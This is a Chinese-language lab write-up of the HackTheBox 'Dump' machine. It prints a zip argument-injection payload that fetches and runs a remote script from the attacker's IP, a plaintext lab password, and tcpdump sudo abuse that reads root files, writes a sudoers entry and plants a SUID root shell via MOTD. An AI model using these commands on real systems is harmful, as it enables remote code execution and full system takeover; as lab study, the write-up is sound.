HTB Dump靶机渗透实战:参数注入与权限提升

本文详细分析了HTB Dump靶机的完整渗透过程,从网站参数注入获取初始shell,到利用tcpdump的sudo权限进行文件读写,最终通过多种方法实现权限提升获取root权限。

初始侦察

Nmap扫描发现两个开放端口:

  • SSH (22)
  • HTTP (80)
1
2
3
4
nmap -p- -vvv --min-rate 10000 10.129.26.68
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

网站分析

网站提供数据包捕获功能,具有以下特性:

  • 用户注册/登录系统
  • 实时流量捕获(端口27714)
  • PCAP文件上传下载
  • 使用PHP开发

参数注入攻击

特殊字符模糊测试

通过上传包含特殊字符的文件名,发现zip命令存在参数注入漏洞:

1
ffuf -request upload.request -w /opt/SecLists/Fuzzing/special-chars.txt

命令执行利用

利用zip命令的-T-TT参数实现远程代码执行:

1
2
3
4
# 创建三个文件实现RCE
- -T
- -TT "wget 10.10.14.17 -O s.sh; bash s.sh; echo"
- "test.pcap"

成功获取www-data权限的shell。

权限提升

用户fritz

在SQLite数据库中发现fritz用户的明文密码:

1
2
username|password|guid
fritz|Passw0rdH4shingIsforNoobZ!|534ce8b9-6a77-4113-a8c1-66462519bfd1

Sudo权限滥用

www-data用户可以以root权限运行tcpdump:

1
2
3
sudo -l
User www-data may run the following commands on dump:
    (ALL : ALL) NOPASSWD: /usr/bin/tcpdump -c10 -w/var/cache/captures/*/[UUID] -F/var/cache/captures/filter.[UUID]

文件读写原语

利用tcpdump的路径遍历和参数注入:

  1. 目录遍历
1
sudo tcpdump -c10 -w/var/cache/captures/a/../../../../dev/shm/test
  1. 参数注入
1
sudo tcpdump -c10 -w/var/cache/captures/a/ -w /dev/shm/test
  1. 文件读取
1
sudo tcpdump -c10 -w/var/cache/captures/a/ -V /root/root.txt -w /tmp/test

权限提升方法

方法一:Sudoers文件写入

创建包含以下内容的PCAP文件:

1
fritz ALL=(ALL:ALL) NOPASSWD: ALL

写入/etc/sudoers.d/目录:

1
sudo tcpdump -c10 -w/var/cache/captures/a/ -Z root -r sudoers.pcap -w /etc/sudoers.d/test

方法二:MOTD利用

写入/etc/update-motd.d/目录并执行:

1
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/rootbash\nchmod 6777 /tmp/rootbash' > /etc/update-motd.d/test

AppArmor限制

系统配置了AppArmor策略限制tcpdump:

  • 禁止写入HOME目录的隐藏文件
  • 限制-z参数只能使用gzip和bzip2
  • 审计特定文件操作

通过多种技术组合,最终成功获取root权限并读取flag文件。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计